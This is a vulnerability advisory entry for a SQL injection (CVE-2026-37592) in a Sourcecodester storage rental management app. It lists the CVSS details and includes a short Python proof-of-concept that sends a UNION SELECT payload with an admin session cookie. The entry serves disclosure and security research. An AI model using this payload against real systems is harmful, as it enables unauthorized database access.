Sourcecodester Storage Unit Rental Management System v1.0 is vulnerable to SQL in the file /storage/admin/maintenance/manage_pricing.php.
CVSS Details
CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Sourcecodester Storage Unit Rental Management System 1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-37592
# This script demonstrates the SQL injection vulnerability in manage_pricing.php
import requests
target_url = "http://target.com/storage/admin/maintenance/manage_pricing.php"
# Attacker needs high privileges (Admin session cookie)
cookies = {
"PHPSESSID": "[ADMIN_SESSION_ID]"
}
# Malicious payload to extract database version
# Replace 'vulnerable_param' with the actual parameter name used in the request
payload = "1' UNION SELECT 1, version(), 3, 4-- -"
params = {
"id": payload
}
try:
response = requests.get(target_url, params=params, cookies=cookies, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully. Check response for SQL output.")
print(response.text)
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")